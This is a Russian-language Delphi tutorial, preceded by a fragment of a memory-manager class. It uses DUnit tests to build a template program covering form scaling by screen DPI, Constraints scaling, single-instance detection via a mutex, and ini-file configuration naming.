    возвращает ссылку на эту память. Выполнено в виде функции во избежание
    обязательного преобразования типов параметра, передаваемого по ссылке.}
    procedure FixDsp(const Ptr: Pointer); {Освобождает блок памяти, выделенный
    ранее в данном экземпляре класса, указуемый параметром Ptr.}
    destructor Destroy; override;
  end;
implementation
constructor psnFixSzMemMgr.Create(const BlockSize, CommitBlocks: Integer);
begin
  FBlockSize := (BlockSize + 3) and $7FFFFFFC;
  FCommitSize := (CommitBlocks and $7FFFFFFE + 1) * FBlockSize + 4;
  FFillCycles := CommitBlocks shr 1 - 1; {заполняем в один присест два блока, и
  цикл оформим от нуля: for I:= 0 to FFillCycles, быстрее будет}
end;
function psnFixSzMemMgr.FixNew: Pointer;
var
  P, P2: Pointer;
  I, DBlockSize: Integer;
begin
  if not Assigned(FEmptyBlock) then
  begin {выделим массив}
    GetMem(P, FCommitSize);
    Pointer(P^) := FLastCommit;
    FLastCommit := P;
    Inc(PChar(P), 4);
    Pointer(P^) := nil;
    P2 := Pointer(Integer(P) + FBlockSize);
    DBlockSize := FBlockSize shl 1;
    for I := 0 to FFillCycles do
    begin {надо сделать список пустых блоков}
      Pointer(P2^) := P;
      Inc(PChar(P), DBlockSize);
      Pointer(P^) := P2;
      Inc(PChar(P2), DBlockSize);
    end;
    FEmptyBlock := P;
  end;
  Result := FEmptyBlock;
  FEmptyBlock := Pointer(Result^);
end;
procedure psnFixSzMemMgr.FixDsp(const Ptr: Pointer);
begin
  Pointer(Ptr^) := FEmptyBlock;
  FEmptyBlock := Ptr;
end;
destructor psnFixSzMemMgr.Destroy;
var
  P: Pointer;
begin
  while Assigned(FLastCommit) do
  begin
    P := FLastCommit;
    FLastCommit := Pointer(P^);
    FreeMem(P, FCommitSize);
  end;
  inherited;
end;

Hello, MiniProg.

Автор: Иванов Петр ака Brodia@a Специально для Королевства Delphi

Я не знаю, к какой области "Королевства" отнести эту статью. В принципе, данная публикация подготавливалась для раздела "Hello, World". Однако оказалось, что подавляющее количество достаточно опытных программистов, имеют лишь приблизительное понятие об изложенном материале. Почти полное отсутствие в интернете и литературе информации, по данной тематике и использованным в статье методам, оставляют надежду на то, что кому-то, возможно, будет интересно, а может быть и познавательно то, о чем здесь написано.

Первоначальная идея была проста, написать несложную программу, исходный текст которой можно было бы использовать как некий шаблон, с реализованной функциональностью, отвечающей наиболее часто выдвигаемым требованиям. Следует помнить о данной публикации то, что она навеяна темой форума "Delphi Kingdom VCL :)".

Желающие могут присоединиться: покритиковать, дополнить, исправить; и если изменения или найденные ошибки будут существенны, то будет написана новая статья. Начнем, с требований, которым должна соответствовать программа: 1. Избегать использования компонентов сторонних производителей, стараться написать программу с помощью стандартных, для текущей версии Delphi, функций и процедур. 2. Исходный текст программы необходимо снабдить системой автоматической проверки корректности программного кода. 3. Интерфейс - SDI (MDI хорош для приложений вроде Word или Exceel). 4. Желательно предусмотреть возможность масштабирования размеров окон, а также размеров и положения всех визуальных элементов, расположенных на ней, после изменения размеров экранного шрифта. Размеры окон и визуальных компонентов не должны меняться при изменении разрешения экрана. 5. Программа должна следить за тем, что бы она была запущена в единственном числе, на данном компьютере, при этом при запуске второй копии должна активизироваться первая копия, даже если она находится в свернутом состоянии. Данная функция призвана защитить лишь от случайных или ошибочных действий пользователя, и ни как не претендует на роль "серьезной" защиты. 6. Программа должна иметь возможность запуска с командной строки, с использованием управляющих ключей. 7. Программа должна иметь возможность запуска, как в режиме консоли, так и в режиме с графическим интерфейсом. 8. Программа должна уметь показывать при запуске заставку, и иметь возможность, как изменения времени показа, так и полного отключения заставки. Данные режимы должны быть управляемы как с помощью командной строки, так и в режиме графического интерфейса. 9. Управляющие ключи командной строки, должны поддерживать, как минимум ключ "?" и/или "help"- вывод краткого пояснения о программе, и подсказки о доступных ключах, в режиме консоли. Ключ "concole" - запуск в режиме консоли. Ключ "nologo" - отключение показа заставки. Ключ "logo " c параметром, определяющим время показа заставки. 10. Необходимо предусмотреть возможность взаимодействия программы с конфигурационным файлом, для хранения и восстановления определенных параметров. Нужно уметь хранить в конфигурационном файле время показа заставки, а так же состояние и позицию окон. 11. Необходимо иметь возможность, в режиме с графическим интерфейсом, подключения к программе языковых настроек в виде перевода на различные языки надписей и сообщений. Основной язык программы английский. Пункт 7 и все, что с ним связано, можно считать моим личным капризом, но мне приходится писать именно такие программы - исполняющиеся в обоих режимах. Для начала, реализации таких требований, должно хватить при создании приложений.

Ну что же, первый шаг, создание директории проекта, назовем его MiniProg, в которой расположим поддиректории:

DCU - откомпилированные dcu (такова моя привычка :), DOC - поместим текст данной статьи, DUNIT - система автоматического тестирования от SourceForge, IMAGE - для картинок и иконок, SOURCE - исходные тексты самой программы, TEST - исходные тексты тестирующих файлов. Будем считать, что основная директория, MiniProg, предназначена для размещения в ней откомпилированной программы, файлов конфигурации и языковых настроек, а так же, для откомпилированной тестовой программы. Создаем проект, главную форму называем просто и незатейливо - FMain. Сохраняем как файл Main.pas в поддиректории SOURCE. Проект сохраняем как MiniProg.dpr, там же :). Открываем меню Project | Options, переходим на страницу Directories/Conditionals, заносим в Output directory и в Unit output directory соответствующие пути. В нашем случай это будут "..\..\MiniProg" и "..\..\MiniProg\DCU". Можно и короче записать, но так нагляднее. Если есть иконка для программы, то устанавливаем её на странице Application, через Load Icon. Создадим новый unit, сохраним под именем Appl.pas. Зачем? Как задел на будущее, будем размещать в нем функции и процедуры, реализующие наши требования.

Теперь начнем выполнять пункт 2 наших требований, т.е. создавать тестирующую программу. В подкаталоге DUNIT расположены некоторые необходимые нам файлы, взятые из оригинального DUNIT , версии от 2002/01/17. И так, создаем новый проект, закрываем Unit1.pas, отказываемся от сохранения, проект назовем, без особой фантазии, testMiniProg.dpr и сохраняем в TEST. Удаляем всё из этого файла и помещаем в него такой код:

program testMiniProg;
uses
  Forms,
  TestFrameWork,
  GUITestRunner;
{$R *.res}
begin
  Application.Initialize;
  GUITestRunner.RunRegisteredTests;
end.

В настройках проекта, на странице Directories/Conditionals, заполняем поля Output directory и Unit output directory, так же, как и у проекта MiniProg. Дополнительно пропишем в Search path поддиректорий SOURCE и DUNIT. Вот теперь, можно создать новый unit с названием (как бы вы думали?) testAppl.pas и следующим содержанием:

unit testAppl;
interface
uses
  TestFramework, SysUtils, Controls, Forms, Appl;
type
  TTestUnitAppl = class(TTestCase)
  published
  end;
implementation
initialization
  TestFramework.RegisterTest(TTestUnitAppl.Suite);
end.
Можно откомпилировать testMiniProg и посмотреть на внешний вид нашей тестирующей программы. В дереве просмотра, с именем Test Hierarchy, будут заноситься наши тесты, серые квадратики, при успешном прохождении теста, будут окрашиваться зеленым цветов, иначе - красным или розовым (цвет может быть и синим). Тесты можно отключать галочками. В окнах, расположенных ниже, можно будет наблюдать сообщение о всякой всячине, в том числе и некоторое пояснение о крахе теста. Да, кстати, тесты запускаются кнопочкой, с изображением зеленого треугольника, но пока он окрашен в серый цвет, так как ни одного реального теста у нас нет. Вот, вкратце и всё, что пока нужно знать о DUNIT. Товарищи, желающие узнать о DUNIT больше, а так же патологические "ХочуВсёЗнайки", могут самостоятельно поискать дополнительную информацию. Хочу только заметить, что данная система проверки является портом с JUNIT, и создавалась для применения в проектах с использованием Xtreem Programming (сокращенно XP). Одной из отличительных особенностей данной методологии является глубокая неприязнь к ведению документации :). Подробнее и по-русски можно посмотреть здесь , там же приведены ссылки по этой тематике. Конечно же, возможности DUNIT гораздо шире, чем это будет показано в данном материале (перед самым окончанием статьи была найдена интересная ссылка - по ней можно ознакомиться с более изощренным применением DUNIT).

Попытаемся разобраться с проблемой масштабирования форм. Проведя то, что обычно называется предварительным расследованием; покопавшись в интернет, заглянув в хелп, почитав книги, спросив товарищей (нужное подчеркнуть); выяснилось что, можно принудить форму автоматически масштабировать собственные размеры, а так же размеры и положение размещенных на ней визуальных компонентов, при изменении размера экранного шрифта. Для этого необходимо проверить и если нужно установить свойства формы, в нашем случае FMain, ParentFont = False, Scaled = True, AutoScroll = False и PixelsPerInch равный PixelsPerInch текущего экрана. Данное утверждение верно для форм созданных с помощью Delphi 6.2, для более ранних версий не проверялось. Но, судя по количеству воплей на различных форумах - у некоторых такая проблема была. Впрочем, помнится, еще у М. Канту в "Delphi 2 for Windows95/NT" существовала небольшая глава, освещающая именно такой подход. После рассмотрения исходных кодов VCL Delphi выяснилось, что существует другая проблема, связанная с масштабированием. Дело в том, что свойства Constraints компонентов, к большому сожалению, не масштабируются. Придется заняться этим отдельно, иначе может нарушиться внешний вид формы. Что делает программа, когда создает форму? Если у формы установлены свойства как было указано выше, то в зависимости от того, отличается PixelsPerInch (сокращенно PPI) формы от PPI экрана или нет, происходит умножение значений местоположения компонентов на "новый" PPI и деление на "старый" PPI (в действительности, конечно, всё сложнее, но на первых порах и такого понимания достаточно). Будем называть эту функцию ScaleValue. Откроем проект testMiniProg, и откроем в нем файлы testAppl.pas и Appl.pas из поддиректории SOURCE. Теперь самое странное: в testAppl.pas создаем процедуру проверки TestScaleValue, и объявляем её в published свойствах TTestUnitAppl:

unit testAppl;
interface
uses
  TestFramework, SysUtils, Controls, Forms, Appl;
type
  TTestUnitAppl = class(TTestCase)
  published
    procedure TestScaleValue;
  end;
implementation
procedure TTestUnitAppl.TestScaleValue;
var
  Test: integer;
begin
  Test := ScaleValue(120,96,120);
  Check( Test = 96, Format('return wrong %d',[Test]));
end;
initialization
  TestFramework.RegisterTest(TTestUnitAppl.Suite);
end.

Главное действие в этом unit, происходит в теле процедуры TestScaleValue, по вызову функции Check, в которой проходит проверки первого параметра, и если он False, то тест считается неудачным. Второй параметр функции Check - сообщение, в котором можно написать, в краткой форме, всё, что вы думаете об отрицательном результате тестирования :). Почему, при заданных значениях входных параметров, в результате должно получиться именно 96? - можно понять в результате несложных математических преобразований исходной формулы. Менее успешные математики могут проверить на калькуляторе :). Что же, мы создали тестирующую процедуру, которая проверит корректность работы нашей функции, при чем сделает это автоматически, стоит лишь запустить тесты. Следует сказать, что проверяться функция будет при каждом запуске тестовой программы, т.е. если вы впоследствии поменяете текст функции, и сделаете это некорректно, то программа тут же сообщит вам об этом. Еще одним положительным свойством такого тестирования, является то, что в саму программу не вносится ни каких посторонних тестирующих и проверяющих функций. Далее, в файле Appl.pas, создаем саму функцию:

function ScaleValue(Value, NewPPI, OldPPI: integer): integer;
begin
  Result := MulDiv(Value, NewPPI, OldPPI);
end;
Компилируем, запускаем программу, нажимаем на зеленый треугольник - всё зеленое! Замечательно, первый и пока единственный тест пройден. Если кто-то не заметил, то поясню, что сначала была создана тестирующая процедура, проверяющая результат функции, и только потом создавалась сама функция. Несколько необычно, но именно такой порядок рекомендует методология XP. Вообще, если призадуматься, то в этом можно узреть глубокий смысл, который заключен в том, что до создания функции мы ДОЛЖНЫ хорошо себе представлять результат :). Вроде бы тривиальная мысль, но многих ошибок в программах не было бы, если бы кодеры всегда следовали этому правилу. Подход, продемонстрированный выше, просто вынуждает поступать именно так. Другим положительным моментом предварительного создание тестовых функций является то что, в конечном счете, изначально "большие" функции будут разбиты на более мелкие и легко тестируемые, что то же неплохо. Кстати, XP настоятельно рекомендует заниматься рефакторингом, по-простому - переписыванием исходного текста, с целью его улучшения. Правда, в отличие от банального исправления ошибок и внесения уточнений, рефакторить рекомендуется только тогда, когда в этом действительно возникла необходимость. Но вообще, код пишется исключительно в требованиях текущего момента, т.е. даже если вы знаете, что какая то дополнительная функциональность вам обязательно понадобиться в дальнейшем - не прилагайте ни малейшего усилия, для её реализации. На этапе рефакторинга всегда можно вернуться к этому, если конечно понадобиться :).

Очевидно, что нам нужны функции, которые бы возвращали значения PPI как времени создания, так и времени исполнения программы, назовем их RtmPPI и DsgnPPI. Напишем тест. Подумав, решаем, что RtmPPI и DsgnPPI должны быть равны по значениям, если разработка программы и тестирование происходит при одних и тех же режима экрана:

procedure TTestUnitAppl.TestDsgnVsRtmPPI;
begin
  Check( DsgnPPI = RtmPPI, Format('Design time PixelsPerInch not %d DPI',
    [RtmPPI]));
end;

По крайней мере, такой тест напомнит вам, что при тестировании значение DsgnPPI должно быть равно PPI вашего экрана. Один совет, связанный с масштабированием форм - старайтесь создавать все свои формы при одном и том же PPI, это убережет вас от неприятных эффектов в дальнейшем, либо вам придется написать специальный тест, который будет проверять значения PPI всех форм, а это часто очень утомительно :). Кстати, этот тест наводит на мысль о том, что не плохо было бы завести функцию, которая бы сообщала, изменилось PPI или нет, и она нам нужна именно сейчас, что бы включить в тест. Сам текст функций выглядит следующим образом:

function RtmPPI: integer;
begin
  Result := Screen.PixelsPerInch;
end;
function DsgnPPI: integer;
begin
  Result := 120;
end;
function IsChangePPI: boolean;
begin
  Result := DsgnPPI <> RtmPPI;
end;
К сожалению, функция DsgnPPI возвращает результат, просто используя константу, которая выставляется в зависимости от конкретного PPI, используемого при дизайне (у меня это 120, у вас может быть и другое значение). Несмотря на то, что в хелп указано TForm.PixelsPerInch как свойство, хранящее значение времени создания, проверка показала, что это не так. Рассмотрение исходных текстов подтвердило факт изменения значения TForm.PixelsPerInch при масштабирование формы, во время исполнения. Так как простого и надежного решения данной проблемы у меня ПОКА нет, то поступим в соответствии с принципами Экстремального Программирования - "Если есть что-то что можно отложить на завтра - отложите это". Прошу прощение, у адептов XP, за столь вольную трактовку принципа.

Пришло время заняться процедурой, которая будет масштабировать Constraints компонентов. Собственно говоря, это свойство наследуется от TControl, по этому, будем обращаться именно к нему. Подумаем, как тестировать изменение Constraints. Первое, что приходит в голову, это создать специальную тестовую форму. Конечно, такой путь несколько сложноват, однако эта форма, скорее всего, пригодиться и в дальнейшем. Выбираем меню File | New | Form, даем название testForm и сохраняем как testUnit в поддиректории TEST, если Delphi предложит сохранить еще и проект, смело откажитесь. Не забудьте установить свойства формы так, как было описано ранее. Добавьте, в uses Appl. Проверьте, в меню Project | Options, новая форма должна располагаться в Available Forms, то есть не должна создаваться автоматически, при запуске приложения. Создайте в Events формы событие OnClose:

procedure TtestForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caFree;
end;

Это заставит удалиться форму из памяти самостоятельно, после закрытия. Не забудьте, выполнить, для testAppl.pas, дополнение через File | Use Unit: Вот, теперь создадим TestChangeConstraints. Что бы легче было тестировать, и избежать неоднозначности, воспользуемся опытом тестирования ScaleValue и зададим размеры формы кратные 120, например 480, после масштабирования должно получиться 384. Так как, отдельные числа используются в unit более чем один раз, то вынесем их в константы.

const
  testOldPPI = 120;
  testNewPPI = 96;
...
procedure TTestUnitAppl.TestChangeConstraints;
var
  OK1, OK2: boolean;
  Size1, Size2: integer;
begin
  OK1 := False;
  OK2 := False;
  Size1 := testOldPPI * 4;
  Size2 := ScaleValue(Size1, testNewPPI, testOldPPI);
  testForm := TtestForm.Create(Application);
  try
    testForm.Constraints.MaxHeight := Size1;
    testForm.Constraints.MinHeight := Size1;
    testForm.Constraints.MaxWidth := 0;
    testForm.Constraints.MinWidth := Size1;
    ChangeConstraints(testForm as TControl, testNewPPI, testOldPPI);
    OK1 := (testForm.Constraints.MaxHeight = Size2) and
      (testForm.Constraints.MinHeight = Size2) and
      (testForm.Constraints.MaxWidth = 0) and
      (testForm.Constraints.MinWidth = Size2);
    ChangeConstraints(testForm as TControl, testOldPPI, testNewPPI);
    OK2 := (testForm.Constraints.MaxHeight = Size1) and
      (testForm.Constraints.MinHeight = Size1) and
      (testForm.Constraints.MaxWidth = 0) and
      (testForm.Constraints.MinWidth = Size1);
  finally
    testForm.Close;
    Check(OK1 and OK2, 'failed test');
  end;
end;

Как видите, тест весьма незатейливый, проверяет корректность масштабирования, как при уменьшающем, так и при увеличивающем масштабе. А еще этот тест использует уже протестированную функцию, что в конечном счете добавляет уверенности в результаты теста :). Сама функция ChangeConstraints выглядит так:

procedure ChangeConstraints(Control: TControl; NewPPI, OldPPI: integer);
begin
  with Control.Constraints do
  begin
    if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
    if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
    if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
    if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
  end;
end;

Запускаем тест - "Шеф!!! Всё пропало!!!" - в чем же дело? А дело в том, что Constraints для минимальных и максимальных значений взаимозависимы. Максимальное значение не может быть меньше минимального и наоборот, и если происходит присвоение некорректного, с этой точки зрения значения, то оно изменяется в нужную сторону. Такое поведение весьма логично, но нас оно не всегда устраивает, по тому что, нам бы хотелось, что бы такое выравнивание сработало после наших изменений. Кстати, вот вам и первый пойманный баг, и довольно хитрый :). Поспешный поиск дихлофоса от Borland. , среди методов TControl, напоминавших по духу, что-то вроде DisabledAlign ничего не дал. Пришлось воспользоваться простым дедовским антитараканным средством - типа "тапочек":

procedure ChangeConstraints(Control: TControl; NewPPI, OldPPI: integer);
begin
  with Control.Constraints do
  begin
    if NewPPI > OldPPI then
    begin
      if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
      if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
      if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
      if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
    end
    else
    begin
      if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
      if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
      if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
      if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
    end;
  end;
end;

Тест, зеленый цвет, "едем" дальше... Дальше? А дальше, расположим на testForm какие-нибудь визуальные компоненты, ...даааа побольше :). В принципе, TestChangeConstraints показал, что процедура работает успешно, с наследником TForm, но не мешало бы, проверить её и с другими компонентами, хотя бы некоторую их часть (нет у нас такого требования - тестировать VCL). Так как предполагаемый процесс тестирования вполне однообразен, то создадим функцию, которой будем передавать компонент, из числа тех, которые расположены на форме, а возвращать она будет - "да" или "нет".

function TTestUnitAppl.TestScaleControl(Control: TControl): boolean;
var
  OK1, OK2: boolean;
  Size1, Size2: integer;
begin
  OK1 := False;
  OK2 := False;
  Size1 := testOldPPI;
  Size2 := ScaleValue(Size1, testNewPPI, testOldPPI);
  testForm := TtestForm.Create(Application);
  try
    Control.Constraints.MaxHeight := Size1;
    Control.Constraints.MinHeight := 0;
    Control.Constraints.MaxWidth := Size1;
    Control.Constraints.MinWidth := Size1;
    ChangeConstraints(Control, testNewPPI, testOldPPI);
    OK1 := (Control.Constraints.MaxHeight = Size2) and
      (Control.Constraints.MinHeight = 0) and
      (Control.Constraints.MaxWidth = Size2) and
      (Control.Constraints.MinWidth = Size2);
    ChangeConstraints(Control, testOldPPI, testNewPPI);
    OK2 := (Control.Constraints.MaxHeight = Size1) and
      (Control.Constraints.MinHeight = 0) and
      (Control.Constraints.MaxWidth = Size1) and
      (Control.Constraints.MinWidth = Size1);
  finally
    testForm.Close;
    Result := OK1 and OK2;
  end;
end;

Тестовая функция, например, для Label1, будет выглядеть так:

procedure TTestUnitAppl.TestScaleLabel;
begin
  Check(TestScaleControl(testForm.Label1 as TControl), 'failed test ');
end;

Если все тесты проходят успешно, то с определенной долей вероятности можно утверждать, что мы теперь знаем, как настроить форму так, что бы она автоматически масштабировались, по крайней мере в пределах, которые обеспечивает Delphi. Так же сможем масштабировать Constraints отдельно взятого контрола окна, при необходимости. Думаю, сфера использования ChangeConstraints довольно ограниченна, но в большинстве случаев результаты, полученные с помощью таких простых средств - вполне удовлетворительные. Можно было бы разработать функцию, которая бы сама изменяла Constraints у всех элементов формы. Желающие могут попробовать свои силы самостоятельно, не забудьте только прислать пример с тестом, и он будет включен в проект. По моему скромному мнению, решить эту проблему кардинально и качественно, можно лишь на уровне изменения исходного кода VCL. Хотя, "неумение" Constraints корректировать свои значения во время масштабирование окна и не является "официальным" багом но, очень хочется надеяться, что авторы Delphi 7 позаботятся об этом. Конечно, всегда можно создать собственный вариант формы, в котором проблема будет решена, но для данного проекта это будет расцениваться как выход за рамки требований (см. пункт.1). Впрочем, повторюсь, если у кого-то есть возможность исправить - пишите. И так, мы провели некоторые технологические тесты, и убедились в работоспособности функций и процедур основной программы. Пришло время заняться функциональными тестами, то есть тестами, в которых проводится общая проверка на соответствие наших решений требованиям. Наиболее наблюдательные читатели должны были заметить, что к самой программе мы еще и не прикасались, но уже имеем для неё несколько работоспособных функций :). Проводить функциональное тестирование можно по-разному, и в принципе, лучше всего на рабочем приложении. У нас, его пока нет, кроме того, оценить правильность масштабирования можно на любом примере, ведь от нас не требуется реакция (нажатие кнопки, движение мыши и т.д.). Нам нужно просто посмотреть. Так что, воспользуемся testForm и разместим на ней 3 компонента TLabel. В свойство Caption каждой занесем такой текст "0123456789". У Label2 установим Constraints равными Width, у Label3 минимальное и максимальное значения отличающееся не менее чем на 50%, у Label4 минимальное и максимальное значения отличающееся на 5%.

procedure TTestUnitAppl.TestFuncScale;
begin
  if IsChangePPI then
  begin
    testForm := TtestForm.Create(Application);
    try
      testForm.ShowModal;
    finally
      testForm.Close;
    end;
  end;
  Check(True, 'very strange ');
end;
Тест очень прост, создается и визуализируется окно, рассматривается и закрывается. Процедура выполняется при запуске тестовой программы, если установлено иное значение PPI, чем использовалось при создании. И она всегда завершается успешно, что бы не портить общие "показатели" :). Можно откомпилировать тестовую программу, изменить размер шрифта экрана, перезагрузиться, запустить тест. Естественно, наш тест TestDsgnVsRtmPPI не должен пройти. Зато появиться окно testForm, где можно будет видеть результат масштабирования. Скажу прямо, LabeledEdit меня крайне разочаровал, впрочем, я его всегда подозревал и никогда им непользовался. Зато Lаbеl'ы вели себя так как им предписано. Закрываем окно, изменяем шрифт экрана, перезагружаемся, запускаем Delphi. Дальнейшие ухищрения в процессе тестирования, уважаемый читатель, может продолжить и самостоятельно. Продолжение следует ...

Declaimer aka Отмазка.

Я надеюсь, что люди, привыкшие читать академические труды, или слушать классические оперы, не станут осуждать автора, за его простую и незатейливую песнь кочевника. Что делал - о том и пел. Исходную партитуру и ноты можно взять здесь. Любые претензии и предложения принимаются в обсуждение и/или мылом. Предложения будут рассмотрены, претензии - проигнорированы. С особым вниманием будут рассмотрены уточнения списка требований и новые тесты. Все копирайты, если они известны, указаны. Иначе, автор не известен или копирайт утерян.

Проект создан в Delphi6 MiniProg.zip (44.3K).

Hello, MiniProg 2.

Автор: Иванов Петр ака Brodia@a Специально для Королевства Delphi

Прошло некоторое время, клавиатура остыла после тестирования и писательства, можно продолжать. Попробуем сделать так, что бы программа следила за тем, что бы она была запущена в единственном экземпляре. Пока мы не углубились в обсуждение деталей реализации, хотелось бы объяснить, для чего такое "суровое" требование единственности и неповторимости. Дело в том, что если пользователям удобнее использовать одновременно несколько копий одной и той же программы, то это верный признак того, что изначально был спроектирован неверный интерфейс, скорее всего больше подошел бы MDI. Это первое, второе - считается, что чаще всего запуск второй копии происходит по ошибке, когда приложение свернуто и его просто не видно.

Данная тема уже не раз поднималась на просторах Королевства, например, здесь или здесь. Огромное множество материала, на данную тематику, чьей то щедрой рукой, разбросано по интернету. Правда, все методы однотипные и сводятся к тому, что программа, при запуске, проверяет какой-нибудь признак, если он не обнаружен - то запускается, если же присутствует... В этом месте возможны самые различные реакции, от сообщений, с требованием ответа/нажатия кнопки, до коварнейших систем оповещения создателей (например, как у M$ XP :). Признаком может служить, либо проверка наличия определенного окна, либо отметка в конфигурационном файле/регистре, либо банальный файл, создаваемый при запуске приложения и удаляемый при выходе из него. Более сложные системы, профессионального уровня, обращаются за советом, "можно, или нельзя", к специализированным лицензионным серверам. Мы пойдем другим путем, наверное, самым простым, будем проверять наличие определенного мьютекса, реакция же будет вежливая - просто активизация окна. Данный метод не нов. Определенно, он работоспособен, но не мешало бы создать тест, который бы нас убедил, что это так. И это еще одна рекомендация XtremeProgramming - не лениться и стараться тестировать как можно больше. Вообще, если бы программисты знали, как много ошибок может быть, в казалось бы, в надежном и простом коде: Откроем testMiniProg.dpr и в файле testAppl.pas создадим следующую процедуру:

Const
  StrFailedTest = 'failure test';
...
procedure TTestUnitAppl.TestFindPrevInstance;
var
  Test1, Test2: boolean;
  Temp: THandle; 
begin
  Temp := Mutex;
  Test1 := not FindPrevInstance('Test');
  Test2 := FindPrevInstance('Test');
  StopPrevInstance;
  Check(Test1 and Test2, strFailedTest);
  Mutex := Temp; 
end;

Сами функции располагаются в Appl.pas и выглядят так:

Var
  Mutex: THandle = 0;
...
function FindPrevInstance(Name: string): boolean;
var
  Temp: THandle;
begin
  Temp := CreateMutex(nil, False, PChar(Name));
  Result := (GetLastError = ERROR_ALREADY_EXISTS);
  if Result then
    CloseHandle(Temp)
  else
    Mutex := Temp;
end;
procedure StopPrevInstance;
begin
  if Mutex > 0 then
    CloseHandle(Mutex);
end;

Теперь посмотрим, как можно будет показать найденную первую копию. Вариантов 'поискать и показать форму', в интернете, огромная масса. Тестовая процедура и сама функция выглядят так:

Unit testAppl;
...
procedure TTestUnitAppl.TestShowPrevInstance;
begin
  Check(ShowPrevInstance('DUnit'), strFailedTest);
end;
unit Appl;
...
function ShowPrevInstance(Name: string): boolean;
var
  PrevInstance: HWND;
begin
  Result := False;
  PrevInstance := FindWindow('TApplication', PChar(Name));
  if PrevInstance <> 0 then
  begin
    if IsIconic(PrevInstance) then
      ShowWindow(PrevInstance, SW_RESTORE);
    SetForegroundWindow(PrevInstance);
    Result := True;
  end;
end;

Компилируем, запускаем, проверяем - все работает, как требуется. Следует отметить, что в данном случае, тестировалось только возвращаемое ShowPrevInstance значение, сам эффект 'показа' незаметен. По этому, что бы ни уподобляться тому сапожнику, который без сапог, внесем в testMiniProg.dpr изменения, добавим в секцию uses модуль Appl и следующий код:

program testMiniProg;
uses
  Appl in '..\SOURCE\Appl.pas', 
  Forms, TestFrameWork, GUITestRunner,
  testAppl in 'testAppl.pas',
  testUnit in 'testUnit.pas' {testForm};
{$R *.res}
begin
  if FindAndShowPrevInstance('DUnit') then
    Halt
  else
  try
    Application.Initialize;
    Application.Title := 'DUnit';
    GUITestRunner.RunRegisteredTests;
  finally
    StopPrevInstance;
  end;
end.

В модуль Appl.pas, поместим функцию FindAndShowPrevInstance, которая будет искать и активизировать предыдущую копию программы. Её тестирование проведем на функциональном уровне, так как технологическое тестирование, хоть и возможно, но реализовывать его будет обременительно. Впрочем, желающие могут попробовать, не забудьте только мне показать, очень интересно.

function FindAndShowPrevInstance(Name: string): boolean;
begin
  Result := FindPrevInstance(Name);
  if Result then
    ShowPrevInstance(Name);
end;
Компилируем, запускаем, пробуем запустить вторую копию - у меня всё, как и предполагалось. Ну что же, можем считать, что функциональные тесты данная функция прошла. Есть один момент, который нужно учитывать. Не очень удобно то, что 'DUnit', или какое-то другое, милое вашему сердцу заветное слово, приходится писать два раза. Мне, к сожалению, так и не удалось приравнять Application.Title ни константе, ни переменной. Все время возникала ошибка dcc32.exe, по-видимому, из-за того, что данное значение используется самим Delphi. Возможно изменение, в виде переноса проверки FindAndShowPrevInstance в секцию initialization модуля Appl.pas, StopPrevInstance в секцию finalization, а сам unit прописать в uses dpr вашей программы самым ПЕРВЫМ. В принципе, я обычно так и делаю, в данном же случае пример просто показательный, потому и несколько упрощенный. Не сомневаюсь, даже данный подход можно улучшить. Особенность передаваемого FindAndShowPrevInstance значения в том, что оно должно быть такое же, как и имя главной формы программы, в противном случае невозможно будет правильное выполнение StopPrevInstance. Конечно, проверка мьютекса будет выполнена, и 'лишнее' приложение буде закрыто, но активизации первой копии не произойдет. Если кого-то не устраивает такое положение дел, например, этот кто-то, всегда дает одно и тоже имя главному модулю своих программ, то всё можно поправить. Просто расширьте число предаваемых функции параметров - отдельно имя мьютекса, отдельно имя главного окна.

Как видите, с помощью довольно бесхитростных средств нам удалось избежать атаки клонов собственных программ. Посмотрим, что можно сделать дальше.

Способность сохранять в конфигурационном файле какие-нибудь значения, например, положение и размеры окна, так же была освещена в интернет очень широко. В RxLib, есть неплохой компонент, умеющий многое, я сам пользовался им когда-то. По этому не будем изобретать ничего нового, но просто воспользуемся уже известными приемами. Почему именно ini-файл, а не регистр, или не способ хранение свойств компонентов, так как это делает Delphi? Свои плюсы и минусы есть у всех подходов, но для наших целей вполне хватит возможностей ini-файла. Будем считать, что ini-файл располагается в директории вместе с программой и имеет такое же имя, но другое расширение, например "ini" :). Традиционно, свойства окна хранят в отдельной секции ini-файла, с уникальным, для данного приложения именем. Используем для этого имя формы. И так, тесты:

procedure TTestUnitAppl.TestGetIniFileName;
begin
  Check(ExtractFileName(GetIniFileName) = 'testMiniProg' + cfgFileExt,
    strFailedTest);
end;
procedure TTestUnitAppl.TestGetSectionName;
begin
  Check(GetSectionName(Screen.Forms[0]) = 'GUITestRunner', strFailedTest);
end;

Сами же функции очень просты. В принципе, GetSectionName можно было бы расширить, включив возможность генерации имени секции для любого компонента, с учетом формы-владельца, но пока не будем этого делать:

Const
  cfgFileExt = '.ini';
...
function GetIniFileName: string;
begin
  Result := ChangeFileExt(Application.ExeName, cfgFileExt);
end;
function GetSectionName(Component: TComponent): string;
begin
  Result := Component.Name;
end;
